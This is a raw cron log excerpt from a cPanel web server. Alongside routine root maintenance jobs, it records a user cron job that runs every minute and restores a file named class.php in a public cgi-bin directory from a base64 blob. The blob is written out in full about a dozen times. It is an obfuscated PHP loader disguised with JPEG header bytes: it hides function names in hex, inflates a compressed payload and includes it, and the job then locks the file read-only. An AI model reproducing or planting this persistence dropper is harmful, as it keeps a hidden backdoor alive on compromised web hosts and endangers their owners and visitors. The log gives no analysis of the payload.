Sep  9 14:14:01 server CROND[6983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:14:01 server CROND[6984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:14:01 server CROND[6985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:15:01 server CROND[7361]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:15:01 server CROND[7362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:15:01 server CROND[7370]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:15:01 server CROND[7364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:15:01 server CROND[7372]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 14:15:01 server CROND[7373]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 14:15:01 server CROND[7375]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 14:15:01 server CROND[7377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:15:01 server CROND[7374]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 14:16:01 server CROND[8280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:16:01 server CROND[8281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:16:01 server CROND[8282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:17:01 server CROND[8659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:17:01 server CROND[8660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:17:01 server CROND[8661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:18:01 server CROND[9031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:18:01 server CROND[9033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:18:01 server CROND[9032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:19:01 server CROND[9449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:19:01 server CROND[9450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:19:01 server CROND[9451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:20:01 server CROND[9837]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 14:20:01 server CROND[9835]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:20:01 server CROND[9840]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:20:01 server CROND[9844]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 14:20:01 server CROND[9846]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 14:20:01 server CROND[9851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:20:01 server CROND[9850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:20:01 server CROND[9847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:20:01 server CROND[9848]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 14:21:01 server CROND[10833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:21:01 server CROND[10834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:21:01 server CROND[10835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:22:01 server CROND[11217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:22:01 server CROND[11218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:22:01 server CROND[11219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:23:01 server CROND[11597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:23:01 server CROND[11599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:23:01 server CROND[11598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:24:01 server CROND[11968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:24:01 server CROND[11969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:24:01 server CROND[11970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:25:01 server CROND[12352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:25:01 server CROND[12349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:25:01 server CROND[12357]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:25:01 server CROND[12359]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 14:25:01 server CROND[12362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:25:01 server CROND[12361]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
